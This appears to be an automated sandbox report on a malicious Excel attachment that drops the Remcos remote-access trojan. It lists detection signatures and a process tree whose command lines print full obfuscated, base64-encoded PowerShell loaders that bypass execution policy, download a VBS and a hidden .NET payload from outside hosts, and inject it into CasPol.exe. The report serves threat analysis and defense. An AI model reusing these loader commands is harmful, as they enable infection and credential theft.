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Windows
Analysis Report
A & C Metrology OC 545714677889Materiale.xls
Overview
General Information
Detection
Remcos, HTMLPhisher
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Detected Remcos RAT
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Sigma detected: Remcos
Suricata IDS alerts for network traffic
Yara detected HtmlPhish44
Yara detected Powershell download and execute
Bypasses PowerShell execution policy
Document exploit detected (process start blacklist hit)
Excel sheet contains many unusual embedded objects
Injects a PE file into a foreign processes
Installs new ROOT certificates
Maps a DLL or memory area into another process
Microsoft Office drops suspicious files
Obfuscated command line found
PowerShell case anomaly found
Searches for Windows Mail specific files
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Dot net compiler compiles file from suspicious location
Sigma detected: File With Uncommon Extension Created By An Office Application
Sigma detected: HackTool - CrackMapExec PowerShell Obfuscation
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands
Sigma detected: Potentially Suspicious PowerShell Child Processes
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Suspicious MSHTA Child Process
Sigma detected: Suspicious Microsoft Office Child Process
Sigma detected: Suspicious PowerShell Parameter Substring
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Instant Messenger accounts or passwords
Tries to steal Mail credentials (via file / registry access)
Tries to steal Mail credentials (via file registry)
Uses dynamic DNS services
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Yara detected WebBrowserPassView password recovery tool
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Compiles C# or VB.Net code
Contains functionality for read data from the clipboard
Contains functionality to call native functions
Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)
Contains functionality to dynamically determine API calls
Contains functionality to modify clipboard data
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a window with clipboard capturing capabilities
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Document embeds suspicious OLE2 link
Document misses a certain OLE stream usually present in this Microsoft Office document type
Drops PE files
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Searches for the Microsoft Outlook file path
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Dynamic .NET Compilation Via Csc.EXE
Sigma detected: Excel Network Connections
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: Suspicious Office Outbound Connections
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Too many similar processes found
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match
Classification
- System is w7x64
- EXCEL.EXE (PID: 3460 cmdline:
"C:\Progra m Files\Mi crosoft Of fice\Offic e14\EXCEL. EXE" /auto mation -Em bedding MD5: D53B85E21886D2AF9815C377537BCAC3) - mshta.exe (PID: 3720 cmdline:
C:\Windows \System32\ mshta.exe -Embedding MD5: 95828D670CFD3B16EE188168E083C3C5) - powershell.exe (PID: 3820 cmdline:
"C:\Window s\SYStEM32 \windOWSpO WErsHeLL\V 1.0\PoWERS helL.exe" "PoweRshEl L.EXe -Ex ByPAss -noP -W 1 -C dEvIcECr eDEnTIaldE pLOYMent.E XE ; IeX ($(Iex('[S YSTem.texT .enCoDIng] '+[chAR]0X 3a+[cHAR]5 8+'UTf8.gE TsTRInG([s YSTEM.CONv erT]'+[cHA r]0x3a+[Ch ar]58+'fRo MBASe64STr Ing('+[cHa R]34+'JFhE TklVVk0yVT JQICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgPSAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg IEFERC10eX BFICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgLU1F bUJFcmRlRm lOSVRJT04g ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAnW0RsbE ltcG9ydCgi dXJsbU9uIi wgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICBDaGFy U2V0ID0gQ2 hhclNldC5V bmljb2RlKV 1wdWJsaWMg c3RhdGljIG V4dGVybiBJ bnRQdHIgVV JMRG93bmxv YWRUb0ZpbG UoSW50UHRy ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgd0xBYW d3b3csc3Ry aW5nICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgbi xzdHJpbmcg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICBHUmosdW ludCAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgIGd3 cCxJbnRQdH IgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICBxdlcp OycgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAtTm FtZSAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICJi ZUtsQXF0QW EiICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgLW5h bWVTcGFDZS AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgIHB1TlFC dkdFdSAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC 1QYXNzVGhy dTsgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAkWE ROSVVWTTJV MlA6OlVSTE Rvd25sb2Fk VG9GaWxlKD AsImh0dHA6 Ly8xMDcuMT c0LjE0Ni40 Ni81Ny9waW N0dXJld2l0 aGdyZWF0bm V3c3dpdGhn b29kdGhpbm dzb25iZXN0 cGxhY2UudE lGIiwiJEVu VjpBUFBEQV RBXHBpY3R1 cmV3aXRoZ3 JlYXRuZXdz d2l0aGdvb2 R0aGluZ3Nv bmJlLnZicy IsMCwwKTtT VEFydC1zbG VlcCgzKTtT dGFydCAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC IkZW52OkFQ UERBVEFccG ljdHVyZXdp dGhncmVhdG 5ld3N3aXRo Z29vZHRoaW 5nc29uYmUu dmJzIg=='+ [chAr]34+' ))')))" MD5: A575A7610E5F003CC36DF39E07C4BA7D) - powershell.exe (PID: 3968 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -Ex ByPAss -noP -W 1 -C dEvIcE CreDEnTIal dEpLOYMent .EXE MD5: A575A7610E5F003CC36DF39E07C4BA7D) - csc.exe (PID: 4068 cmdline:
"C:\Window s\Microsof t.NET\Fram ework64\v4 .0.30319\c sc.exe" /n oconfig /f ullpaths @ "C:\Users\ user\AppDa ta\Local\T emp\xcygtr xb\xcygtrx b.cmdline" MD5: 23EE3D381CFE3B9F6229483E2CE2F9E1) - cvtres.exe (PID: 4076 cmdline:
C:\Windows \Microsoft .NET\Frame work64\v4. 0.30319\cv tres.exe / NOLOGO /RE ADONLY /MA CHINE:IX86 "/OUT:C:\ Users\user \AppData\L ocal\Temp\ RES7A10.tm p" "c:\Use rs\user\Ap pData\Loca l\Temp\xcy gtrxb\CSC2 09022CC148 748BB84688 79EDEB89E9 9.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950) - wscript.exe (PID: 3196 cmdline:
"C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Roa ming\pictu rewithgrea tnewswithg oodthingso nbe.vbs" MD5: 045451FA238A75305CC26AC982472367) - powershell.exe (PID: 2664 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -command $ Codigo = ' LiggJHBzSG 9NRVsyMV0r JFBzaE9tRV szMF0rJ3gn KSgoJ1prYW ltYWdlVXJs ID0gUUN4aH QnKyd0cHM6 Ly9kcml2ZS 5nb29nbGUu Y29tL3VjP2 V4cG9ydD1k b3dubG9hZC ZpZD0xQUlW Z0pKSnYxRj YnKyd2UzRz VU95Ym5ILX NEdlVoQll3 dXIgUUN4O1 prYXdlYkNs aWVudCA9IE 5ldy1PYmpl Y3QgU3knKy dzdGVtLk5l dC5XZWJDbG llbnQ7Wmth aW1hZ2VCJy sneXRlcyA9 IFprYXdlYk NsaWVudC5E b3dubG9hZE RhdGEoWmth aW1hZ2VVcm wpO1prYWlt YWdlVGV4dC A9IFtTeXN0 JysnZW0uVG V4dC5FbmNv ZGluZ106Ol VURjguR2V0 U3RyaW5nKF prYWltYWdl Qnl0ZXMpO1 prYXN0YXJ0 RmxhZyA9IF FDeDwnKyc8 QkFTRTY0X1 NUQVJUPj5R Q3g7WmthZW 5kRmxhZyA9 IFFDeDw8Qk FTRTY0X0VO RD4+UUN4O1 prYXN0YXJ0 SW5kZXggPS Baa2FpbWFn ZVRleHQuSW 5kZXhPZiha a2FzdGFydE ZsYWcpO1pr YWVuZEluZG V4ID0gWmth aW1hZ2VUZX h0LkluZGV4 T2YoWmthZW 5kRmxhZycr Jyk7Wmthc3 RhcnRJbmRl eCAtZ2UgMC AtYW4nKydk IFprYWVuZE luZGV4IC1n dCBaJysna2 FzdCcrJ2Fy dEluZGV4O1 prYXN0YXJ0 SW4nKydkZX ggKz0gWmth c3RhcnRGbG FnLkxlbmd0 aDtaa2FiYX NlNjRMZW5n dGgnKycgPS Baa2FlbmRJ bmRleCAtIF prYXN0YXJ0 SW5kZXg7Wm thYmFzZTY0 Q29tbWFuZC A9IFprYWlt YWdlVGV4dC 5TdWJzdHJp bicrJ2coWm thc3RhcnRJ bmRleCwgJy snWmthYmFz JysnZTY0TG VuZ3RoKTta a2FiYXNlNj RSZXZlcnNl ZCA9IC1qb2 luIChaa2Fi YXNlNjRDb2 1tYW5kLlRv Q2hhckFycm F5KCkgS041 IEZvckVhY2 gtT2JqZWN0 IHsgWmsnKy dhXyB9KVst MS4uLShaa2 FiJysnYXMn KydlNjRDb2 1tYW5kLkxl bmd0aCldO1 prYWNvbW1h bmRCeXRlcy A9IFtTeXN0 ZW0uJysnQ2 9udmVydF06 OkZyb21CYX NlJysnNjRT dHJpbmcoWm thYmFzZTY0 UmV2ZXJzZW QpO1prYWxv YWRlZEFzc2 VtYmx5ID0g W1N5c3RlbS 5SZWZsZWN0 aW9uLkFzc2 VtYmx5XTo6 TG9hZChaa2 Fjb21tYScr J25kQnl0ZX MpO1prYXZh aU1ldGhvZC A9IFtkbmxp Yi5JTy5Ib2 1lXS5HZScr J3RNZXRob2 QoUUN4VkFJ UUN4KTtaa2 F2YWlNZXRo b2QuSW52b2 tlKFprYW51 bGwsIEAoUU N4dHh0LlJS RlZHR0ZSLz c1LzY0LjY0 MS40NzEuNz AxLy86cHR0 aFFDeCwgUU N4ZGVzYXRp dmFkb1FDeC wgUUMnKyd4 ZGVzYXRpdm Fkb1FDeCwg UUN4ZGVzYX RpdmFkb1FD eCwgUUN4Q2 FzJysnUG9s UUN4LCBRQ3 hkZXNhdGl2 YWRvUScrJ0 N4LCBRQ3hk ZXNhdGl2YW RvUUN4LFFD eGRlc2F0aX ZhZG9RQ3gs UUN4ZGVzYX RpdmFkb1FD eCxRQ3hkZX NhdGl2YWRv UUN4LFFDeG Rlc2F0aXZh ZG9RQ3gsUU N4ZGVzYXRp dmFkb1FDeC xRQ3gxUUN4 LFFDeGRlc2 F0aXZhZG9R Q3gpKTsnKS 5yRVBMYUNl KChbY0hhUl 05MCtbY0hh Ul0xMDcrW2 NIYVJdOTcp LFtzVHJJbm ddW2NIYVJd MzYpLnJFUE xhQ2UoJ0tO NScsW3NUck luZ11bY0hh Ul0xMjQpLn JFUExhQ2Uo KFtjSGFSXT gxK1tjSGFS XTY3K1tjSG FSXTEyMCks W3NUckluZ1 1bY0hhUl0z OSkp';$OWj uxd = [sys tem.Text.e ncoding]:: UTF8.GetSt ring([syst em.Convert ]::Frombas e64String( $codigo)); powershell .exe -wind owstyle hi dden -exec utionpolic y bypass - NoProfile -command $ OWjuxD MD5: A575A7610E5F003CC36DF39E07C4BA7D) - powershell.exe (PID: 2140 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -windowsty le hidden -execution policy byp ass -NoPro file -comm and ".( $p sHoME[21]+ $PshOmE[30 ]+'x')(('Z kaimageUrl = QCxht'+ 'tps://dri ve.google. com/uc?exp ort=downlo ad&id=1AIV gJJJv1F6'+ 'vS4sUOybn H-sDvUhBYw ur QCx;Zka webClient = New-Obje ct Sy'+'st em.Net.Web Client;Zka imageB'+'y tes = Zkaw ebClient.D ownloadDat a(Zkaimage Url);Zkaim ageText = [Syst'+'em .Text.Enco ding]::UTF 8.GetStrin g(Zkaimage Bytes);Zka startFlag = QCx<'+'< BASE64_STA RT>>QCx;Zk aendFlag = QCx<<BASE 64_END>>QC x;Zkastart Index = Zk aimageText .IndexOf(Z kastartFla g);ZkaendI ndex = Zka imageText. IndexOf(Zk aendFlag'+ ');Zkastar tIndex -ge 0 -an'+'d ZkaendInd ex -gt Z'+ 'kast'+'ar tIndex;Zka startIn'+' dex += Zka startFlag. Length;Zka base64Leng th'+' = Zk aendIndex - Zkastart Index;Zkab ase64Comma nd = Zkaim ageText.Su bstrin'+'g (ZkastartI ndex, '+'Z kabas'+'e6 4Length);Z kabase64Re versed = - join (Zkab ase64Comma nd.ToCharA rray() KN5 ForEach-O bject { Zk '+'a_ })[- 1..-(Zkab' +'as'+'e64 Command.Le ngth)];Zka commandByt es = [Syst em.'+'Conv ert]::From Base'+'64S tring(Zkab ase64Rever sed);Zkalo adedAssemb ly = [Syst em.Reflect ion.Assemb ly]::Load( Zkacomma'+ 'ndBytes); ZkavaiMeth od = [dnli b.IO.Home] .Ge'+'tMet hod(QCxVAI QCx);Zkava iMethod.In voke(Zkanu ll, @(QCxt xt.RRFVGGF R/75/64.64 1.471.701/ /:ptthQCx, QCxdesati vadoQCx, Q C'+'xdesat ivadoQCx, QCxdesativ adoQCx, QC xCas'+'Pol QCx, QCxde sativadoQ' +'Cx, QCxd esativadoQ Cx,QCxdesa tivadoQCx, QCxdesativ adoQCx,QCx desativado QCx,QCxdes ativadoQCx ,QCxdesati vadoQCx,QC x1QCx,QCxd esativadoQ Cx));').rE PLaCe(([cH aR]90+[cHa R]107+[cHa R]97),[sTr Ing][cHaR] 36).rEPLaC e('KN5',[s TrIng][cHa R]124).rEP LaCe(([cHa R]81+[cHaR ]67+[cHaR] 120),[sTrI ng][cHaR]3 9))" MD5: A575A7610E5F003CC36DF39E07C4BA7D) - CasPol.exe (PID: 3892 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\Cas Pol.exe" MD5: 8AD6D0D81FEC2856B8DCABEE8D678F61) - CasPol.exe (PID: 2756 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\Cas Pol.exe" MD5: 8AD6D0D81FEC2856B8DCABEE8D678F61) - CasPol.exe (PID: 3900 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\CasP ol.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\cc pqkvncszlc dyhupbgkfn qpbhfycgj" MD5: 8AD6D0D81FEC2856B8DCABEE8D678F61) - CasPol.exe (PID: 3880 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\CasP ol.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\ew uj" MD5: 8AD6D0D81FEC2856B8DCABEE8D678F61) - CasPol.exe (PID: 3960 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\CasP ol.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\ew uj" MD5: 8AD6D0D81FEC2856B8DCABEE8D678F61) - CasPol.exe (PID: 3864 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\CasP ol.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\ew uj" MD5: 8AD6D0D81FEC2856B8DCABEE8D678F61) - CasPol.exe (PID: 2180 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\CasP ol.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\ew uj" MD5: 8AD6D0D81FEC2856B8DCABEE8D678F61) - CasPol.exe (PID: 3964 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\CasP ol.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\ew uj" MD5: 8AD6D0D81FEC2856B8DCABEE8D678F61) - CasPol.exe (PID: 3828 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\CasP ol.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\ew uj" MD5: 8AD6D0D81FEC2856B8DCABEE8D678F61) - CasPol.exe (PID: 520 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\CasP ol.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\ew uj" MD5: 8AD6D0D81FEC2856B8DCABEE8D678F61) - CasPol.exe (PID: 1356 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\CasP ol.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\ew uj" MD5: 8AD6D0D81FEC2856B8DCABEE8D678F61) - CasPol.exe (PID: 1984 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\CasP ol.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\ew uj" MD5: 8AD6D0D81FEC2856B8DCABEE8D678F61) - CasPol.exe (PID: 3596 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\CasP ol.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\ew uj" MD5: 8AD6D0D81FEC2856B8DCABEE8D678F61) - CasPol.exe (PID: 3600 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\CasP ol.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\oy zblyj" MD5: 8AD6D0D81FEC2856B8DCABEE8D678F61) - CasPol.exe (PID: 1812 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\CasP ol.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\ow wdnwiorrwl yboscy" MD5: 8AD6D0D81FEC2856B8DCABEE8D678F61) - CasPol.exe (PID: 2496 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\CasP ol.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\ow wdnwiorrwl yboscy" MD5: 8AD6D0D81FEC2856B8DCABEE8D678F61) - CasPol.exe (PID: 3360 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\CasP ol.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\ow wdnwiorrwl yboscy" MD5: 8AD6D0D81FEC2856B8DCABEE8D678F61) - CasPol.exe (PID: 1668 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\CasP ol.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\qq cnootpfzoq ahkwlihmmg " MD5: 8AD6D0D81FEC2856B8DCABEE8D678F61) - CasPol.exe (PID: 2004 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\CasP ol.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\qq cnootpfzoq ahkwlihmmg " MD5: 8AD6D0D81FEC2856B8DCABEE8D678F61) - CasPol.exe (PID: 2940 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\CasP ol.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\qq cnootpfzoq ahkwlihmmg " MD5: 8AD6D0D81FEC2856B8DCABEE8D678F61) - CasPol.exe (PID: 2964 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\CasP ol.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\qq cnootpfzoq ahkwlihmmg " MD5: 8AD6D0D81FEC2856B8DCABEE8D678F61) - CasPol.exe (PID: 3524 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\CasP ol.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\bt hgghdjthgd lvyictcnxl wgz" MD5: 8AD6D0D81FEC2856B8DCABEE8D678F61) - mshta.exe (PID: 3004 cmdline:
C:\Windows \System32\ mshta.exe -Embedding MD5: 95828D670CFD3B16EE188168E083C3C5) - powershell.exe (PID: 1536 cmdline:
"C:\Window s\SYStEM32 \windOWSpO WErsHeLL\V 1.0\PoWERS helL.exe" "PoweRshEl L.EXe -Ex ByPAss -noP -W 1 -C dEvIcECr eDEnTIaldE pLOYMent.E XE ; IeX ($(Iex('[S YSTem.texT .enCoDIng] '+[chAR]0X 3a+[cHAR]5 8+'UTf8.gE TsTRInG([s YSTEM.CONv erT]'+[cHA r]0x3a+[Ch ar]58+'fRo MBASe64STr Ing('+[cHa R]34+'JFhE TklVVk0yVT JQICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgPSAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg IEFERC10eX BFICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgLU1F bUJFcmRlRm lOSVRJT04g ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAnW0RsbE ltcG9ydCgi dXJsbU9uIi wgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICBDaGFy U2V0ID0gQ2 hhclNldC5V bmljb2RlKV 1wdWJsaWMg c3RhdGljIG V4dGVybiBJ bnRQdHIgVV JMRG93bmxv YWRUb0ZpbG UoSW50UHRy ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgd0xBYW d3b3csc3Ry aW5nICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgbi xzdHJpbmcg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICBHUmosdW ludCAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgIGd3 cCxJbnRQdH IgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICBxdlcp OycgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAtTm FtZSAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICJi ZUtsQXF0QW EiICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgLW5h bWVTcGFDZS AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgIHB1TlFC dkdFdSAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC 1QYXNzVGhy dTsgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAkWE ROSVVWTTJV MlA6OlVSTE Rvd25sb2Fk VG9GaWxlKD AsImh0dHA6 Ly8xMDcuMT c0LjE0Ni40 Ni81Ny9waW N0dXJld2l0 aGdyZWF0bm V3c3dpdGhn b29kdGhpbm dzb25iZXN0 cGxhY2UudE lGIiwiJEVu VjpBUFBEQV RBXHBpY3R1 cmV3aXRoZ3 JlYXRuZXdz d2l0aGdvb2 R0aGluZ3Nv bmJlLnZicy IsMCwwKTtT VEFydC1zbG VlcCgzKTtT dGFydCAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC IkZW52OkFQ UERBVEFccG ljdHVyZXdp dGhncmVhdG 5ld3N3aXRo Z29vZHRoaW 5nc29uYmUu dmJzIg=='+ [chAr]34+' ))')))" MD5: A575A7610E5F003CC36DF39E07C4BA7D) - powershell.exe (PID: 960 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -Ex ByPAss -noP -W 1 -C dEvIcE CreDEnTIal dEpLOYMent .EXE MD5: A575A7610E5F003CC36DF39E07C4BA7D) - csc.exe (PID: 2220 cmdline:
"C:\Window s\Microsof t.NET\Fram ework64\v4 .0.30319\c sc.exe" /n oconfig /f ullpaths @ "C:\Users\ user\AppDa ta\Local\T emp\revod4 50\revod45 0.cmdline" MD5: 23EE3D381CFE3B9F6229483E2CE2F9E1) - cvtres.exe (PID: 3676 cmdline:
C:\Windows \Microsoft .NET\Frame work64\v4. 0.30319\cv tres.exe / NOLOGO /RE ADONLY /MA CHINE:IX86 "/OUT:C:\ Users\user \AppData\L ocal\Temp\ RESC85F.tm p" "c:\Use rs\user\Ap pData\Loca l\Temp\rev od450\CSCA 06B8A6F8CB F4D28B1CF4 56BD67905. TMP" MD5: C877CBB966EA5939AA2A17B6A5160950) - wscript.exe (PID: 3812 cmdline:
"C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Roa ming\pictu rewithgrea tnewswithg oodthingso nbe.vbs" MD5: 045451FA238A75305CC26AC982472367) - powershell.exe (PID: 3748 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -command $ Codigo = ' LiggJHBzSG 9NRVsyMV0r JFBzaE9tRV szMF0rJ3gn KSgoJ1prYW ltYWdlVXJs ID0gUUN4aH QnKyd0cHM6 Ly9kcml2ZS 5nb29nbGUu Y29tL3VjP2 V4cG9ydD1k b3dubG9hZC ZpZD0xQUlW Z0pKSnYxRj YnKyd2UzRz VU95Ym5ILX NEdlVoQll3 dXIgUUN4O1 prYXdlYkNs aWVudCA9IE 5ldy1PYmpl Y3QgU3knKy dzdGVtLk5l dC5XZWJDbG llbnQ7Wmth aW1hZ2VCJy sneXRlcyA9 IFprYXdlYk NsaWVudC5E b3dubG9hZE RhdGEoWmth aW1hZ2VVcm wpO1prYWlt YWdlVGV4dC A9IFtTeXN0 JysnZW0uVG V4dC5FbmNv ZGluZ106Ol VURjguR2V0 U3RyaW5nKF prYWltYWdl Qnl0ZXMpO1 prYXN0YXJ0 RmxhZyA9IF FDeDwnKyc8 QkFTRTY0X1 NUQVJUPj5R Q3g7WmthZW 5kRmxhZyA9 IFFDeDw8Qk FTRTY0X0VO RD4+UUN4O1 prYXN0YXJ0 SW5kZXggPS Baa2FpbWFn ZVRleHQuSW 5kZXhPZiha a2FzdGFydE ZsYWcpO1pr YWVuZEluZG V4ID0gWmth aW1hZ2VUZX h0LkluZGV4 T2YoWmthZW 5kRmxhZycr Jyk7Wmthc3 RhcnRJbmRl eCAtZ2UgMC AtYW4nKydk IFprYWVuZE luZGV4IC1n dCBaJysna2 FzdCcrJ2Fy dEluZGV4O1 prYXN0YXJ0 SW4nKydkZX ggKz0gWmth c3RhcnRGbG FnLkxlbmd0 aDtaa2FiYX NlNjRMZW5n dGgnKycgPS Baa2FlbmRJ bmRleCAtIF prYXN0YXJ0 SW5kZXg7Wm thYmFzZTY0 Q29tbWFuZC A9IFprYWlt YWdlVGV4dC 5TdWJzdHJp bicrJ2coWm thc3RhcnRJ bmRleCwgJy snWmthYmFz JysnZTY0TG VuZ3RoKTta a2FiYXNlNj RSZXZlcnNl ZCA9IC1qb2 luIChaa2Fi YXNlNjRDb2 1tYW5kLlRv Q2hhckFycm F5KCkgS041 IEZvckVhY2 gtT2JqZWN0 IHsgWmsnKy dhXyB9KVst MS4uLShaa2 FiJysnYXMn KydlNjRDb2 1tYW5kLkxl bmd0aCldO1 prYWNvbW1h bmRCeXRlcy A9IFtTeXN0 ZW0uJysnQ2 9udmVydF06 OkZyb21CYX NlJysnNjRT dHJpbmcoWm thYmFzZTY0 UmV2ZXJzZW QpO1prYWxv YWRlZEFzc2 VtYmx5ID0g W1N5c3RlbS 5SZWZsZWN0 aW9uLkFzc2 VtYmx5XTo6 TG9hZChaa2 Fjb21tYScr J25kQnl0ZX MpO1prYXZh aU1ldGhvZC A9IFtkbmxp Yi5JTy5Ib2 1lXS5HZScr J3RNZXRob2 QoUUN4VkFJ UUN4KTtaa2 F2YWlNZXRo b2QuSW52b2 tlKFprYW51 bGwsIEAoUU N4dHh0LlJS RlZHR0ZSLz c1LzY0LjY0 MS40NzEuNz AxLy86cHR0 aFFDeCwgUU N4ZGVzYXRp dmFkb1FDeC wgUUMnKyd4 ZGVzYXRpdm Fkb1FDeCwg UUN4ZGVzYX RpdmFkb1FD eCwgUUN4Q2 FzJysnUG9s UUN4LCBRQ3 hkZXNhdGl2 YWRvUScrJ0 N4LCBRQ3hk ZXNhdGl2YW RvUUN4LFFD eGRlc2F0aX ZhZG9RQ3gs UUN4ZGVzYX RpdmFkb1FD eCxRQ3hkZX NhdGl2YWRv UUN4LFFDeG Rlc2F0aXZh ZG9RQ3gsUU N4ZGVzYXRp dmFkb1FDeC xRQ3gxUUN4 LFFDeGRlc2 F0aXZhZG9R Q3gpKTsnKS 5yRVBMYUNl KChbY0hhUl 05MCtbY0hh Ul0xMDcrW2 NIYVJdOTcp LFtzVHJJbm ddW2NIYVJd MzYpLnJFUE xhQ2UoJ0tO NScsW3NUck luZ11bY0hh Ul0xMjQpLn JFUExhQ2Uo KFtjSGFSXT gxK1tjSGFS XTY3K1tjSG FSXTEyMCks W3NUckluZ1 1bY0hhUl0z OSkp';$OWj uxd = [sys tem.Text.e ncoding]:: UTF8.GetSt ring([syst em.Convert ]::Frombas e64String( $codigo)); powershell .exe -wind owstyle hi dden -exec utionpolic y bypass - NoProfile -command $ OWjuxD MD5: 